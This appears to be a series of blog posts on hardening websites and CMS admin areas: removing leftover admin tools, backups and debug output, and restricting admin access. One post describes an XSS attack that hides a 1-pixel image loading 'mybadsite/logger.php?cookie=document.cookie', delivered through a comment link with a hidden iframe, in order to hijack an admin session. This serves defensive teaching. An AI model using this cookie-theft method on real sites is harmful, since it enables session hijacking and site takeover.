Cleaning up Your Website

In my first two posts, I shared how to harden access to the admin tool for your content management system. However, there are a lot of other “backdoors” to the administration of your site that people commonly leave on. Make sure you have not allowed public access to this list of things:

  1. PhpMyAdmin – I see security updates on this one all the time. It is a great tool, but I would not want it publically available.
  2. “Secret ports” or URLs for server management tools like Plesk or Hsphere.
  3. Tomcat admin
  4. QA testing tools that reset accounts, grant gold or membership, or perform any bulk actions. These are common in a dev environment to allow for testing, but sometimes these get uploaded along with the rest of the source.

Consider some of the solutions I offered in securing your admin site, such as moving it to a private server or establishing firewall rules to protect those.

Cleaning up your server though goes beyond just removing admin tools. Many times files are uploaded to the server to test out new frameworks, or files are accidentally copied from the dev system. Here are some extra goodies to watch out for:

  1. Library files for your PHP code. Don’t make these web accessible. If there are any security bugs, then people can call your library files directly. Instead of putting them at /var/www/html/includes put them at /var/www/includes and add that directory to your PHP include path in php.ini
  2. Frameworks and tools you installed to try out and no longer use. These items you were trying out are one of the worst issues since you do not use them, you likely don’t update them, and they quickly become the weakest link.
  3. Old versions of your site or game. If you have an unrefined build process, you probably just copy the directory to /backup then copy the whole thing up again. Like in point #2, those will have all your old vulnerabilities.
    Even worse than #3 is if you do backups or build as .zip or .tar the entire dir, and then leave it on your website. It would not be so bad in /var/www/backups. However, if you stick it on /var/www/html where everyone can download it, all you need is for someone to accidentally leave directory browsing turned on and now your entire source (likely with passwords) is gone. The same is true with log files and reports for those who log in the same directory (or ./logs) as the PHP file doing the logging. If your stuck like this and need backward compatibility try a .htaccess rule or firewall rule that blocks all files of type *.log or *.gz
  4. User file uploads. Sometimes this is unavoidable, like when a user uploads an avatar for their forum graphic. However, if the user is just submitting a bug report or fan art, do not store it on the public web. It is possible to embed PHP code into a .jpg and then trick the server into storing it as a .php file. Strong validation would prevent this, but don’t take added risk.
  5. phpinfo.php – We don’t need to tell the whole world your specific config for PHP.
  6. /server-status and /server-info – this is set in httpd.conf (there is something similar for Nginx, but I can’t find it right now). It tells how many connections are currently established (hackers can use to track the status of a DOS) and sometimes what URLs are being loaded. In those URLs is also sometimes backend web service calls with secret tokens in the URL or passwords.
  7. Exception calls that produce stack dumps (especially with Java) on critical errors. These reveal how the code works and sometimes dump variables passed into functions.
  8. Debugging output – this could include FirePHP output, flash trace statements, and/or stuff put into a hidden div. Some frameworks will dump a full call stack and global variables on a server error – what a treasure trove to give to hackers! Make sure you turn debug mode off in production.

Protecting Your Admin Site – Part 2

I have been looking into many different CMS solutions. I came across a superb write-up on the challenge of an admin site:

These days the only thing we occasionally hear about are cross site scripting vulnerabilities. Typically these are found in dashboard pages for obscure parts of the CMS or add-ons. In English that means:

1) You log in as admin to your site.

2) You leave that window open as you wander around the web.

3) You go to some nefarious website in another window.

4) Something you click on at that new site is able to do something to your concrete5 site as the user you’re logged in with.

To give you a sense of scale, we typically hear about something like this once every 6 months or so, and we have a fix available within a few days of hearing about it.

One might also point out, you probably don’t need to leave your admin account logged into the dashboard while you go troll torrents… just sayin’.


To the most part, well said, but there is still a serious problem with some simple solutions. One day I would love to have a company contact me and challenge me to get into their CMS. If someone wanted to take me up on that challenge, let’s chat and start getting the paperwork rolling with your IT guys.

Just a quick background. Cross Site Scripting (XSS) is abusing a user’s trust in a site to get their browser to do whatever we want (read more on that here). For example, if I owned a website I would trust it and let my browser run any JavaScript I wanted on it. However, what if a hacker could write their own JavaScript and hide it on my site? When I come to it, my browser will trust it and just run it, letting the hacker do anything they want (with some limits like same origin policy). If you think anything that could be done with AJAX is free game including spidering your site, submitting pages, reading CSRF tokens, scraping web content, downloading malware and attacking your intranet.

So all I need to do is download a copy of their CMS and find some cross-site scripting vulnerability anywhere on the site. This makes it funny because usually, people tell me do not worry about vulnerabilities in the admin site because only admins can see them. Except to take over the site, the admin site is exactly where I want to get – and since these are usually low-priority, they are often not patched. My goal is their session cookie, so my exploit will create a tiny 1 pixel by 1 pixel tracking image on the website that will load the tiny picture from mybadsite/logger.php?cookie=document.cookie.

To see what this looks like, enter the following in your browser bar and press Enter:

javascript:alert(“Your cookies are: “+document.cookie)

Once I found my vulnerability, it’s time to exploit it. So I would post a comment on the website since I know it will likely be an admin that will read it first. My comment will have a link to some throwaway site I made – and on that site will be a hidden iFrame (though not all browsers might like that) that calls my exploit. The admin goes to approve my comment, clicks on the link to verify it, and behind the scenes, the iFframe loads its own website with the exploit, grabs their session cookie, and sends me an email. I go to their site, change my cookie to the same as theirs and (in most cases) the server thinks I am them, and the entire admin site is mine (unless they did one of my favorites and stored their IP and browser signature in the session).

If that did not work, I would have to look at some form of Cross Site Request Forgery to update their password for them or post something to their blog, but chances are I need more data to submit any form, like a cross-site request forgery token. I trust your site has those, right?

So the part about “you probably don’t need to leave your admin account logged into the dashboard while you go troll torrents.” is good, but it is a bit of false security. I would guess that most attacks to an admin system are targeted spearfish attacks. Typically, an email sent directly to someone at the company or a comment or customer support request. Especially for comments, where you need to be logged in to check them.

So how do you prevent this?

  1. Make sure you are using the latest version of your content management system – that way you have all the latest security fixes. Don’t fall into the trap of thinking something like “it only fixes the admin site, so I’m not vulnerable.”
  2. Lock down access so if they steal your session they cannot log in (but they will probably know that ahead of time and focus on a longer script that does all the damage using your browser).
  3. Add a firewall or .htaccess rule that any GET or POST request with variables that comes from an external site (or blank) is redirected to the login page. That way any funny business will not work. You should do this at least for the admin site, but you might get a lot of unexpected exceptions and SEO problems if you do it to your public site.

Protecting Your Admin Site – Part 1

I saw this while browsing the web the other day.

Server: Apache/2.2.12 (Ubuntu)

X-Content-Encoded-By: Joomla! 1.5

X-Powered-By: PHP/5.2.10-2ubuntu6.7

I am not going to be too hard on them because I see this all the time, but it does make an excellent starting point on something that needs to be fixed. I’m going to ignore the fact that they are using an old version of Apache (which may be patched) and an old version of PHP and Ubuntu. What caught my eye was that they were using Joomla.

I’ve always wanted to play with that, so I pulled up and a “demo” button. Clicking on that Demo button, I get a backend demo – which is cool to check out the product without having to install it.

However, I noticed that the admin interface is at /adminstrator, and I wondered how many sites have this on their public website. So if you went to, would it ask you to enter a username and password? So tell me why do I (as a guest to the site) need a prompt to the administration site? Do they want me to log in and change their website for them?

Quite frankly, the answer is usually:

  1. We installed this years ago when we were checking out multiple frameworks. The project had a tight deadline, and we never had time to go back and tighten it up.
  2. We have outside consultants helping us with content and layout, and we never know what their IP is from week to week.
  3. I do not know how to secure it.

That is as far as I went other than I informed the owner of the site and encouraged them to fix it. However, this reminded me that many sites are like this. Putting your admin site on your public website is a bad idea, and here’s why:

  1. Curious people will find it (like I did). It is not that hard to guess a few dozen directories where admin files usually are. In fact, there are tools like Dirbuster, designed to find unpublished directories. Assume people will find your admin site.
  2. Someone on your staff will almost always have a bad password or have reused it on another site. Other site gets hacked, and there are the password, email address, and your site name. Alternatively, how hard is to try “password”, “password1” and “password1?” Sounds like something that ‘could’ be automated.
  3. A new exploit is found in your favorite CMS – you wanted to run the update, but you are not sure if it would break that custom code you put in. Blast it all; they’re already in….

Here are some alternatives:

  1. Stick your admin tool on an internal site and then either have it publish static files to your public site or write to your external database.
  2. If you can’t do that, at least use a firewall rule or .htaccess rule to block the page from anyone not from an approved IP address.
  3. Cache your site with a tool like Varnish and disallow the admin directory. Use a concept like a Bastion host to give you access to the backend port the real server is running on.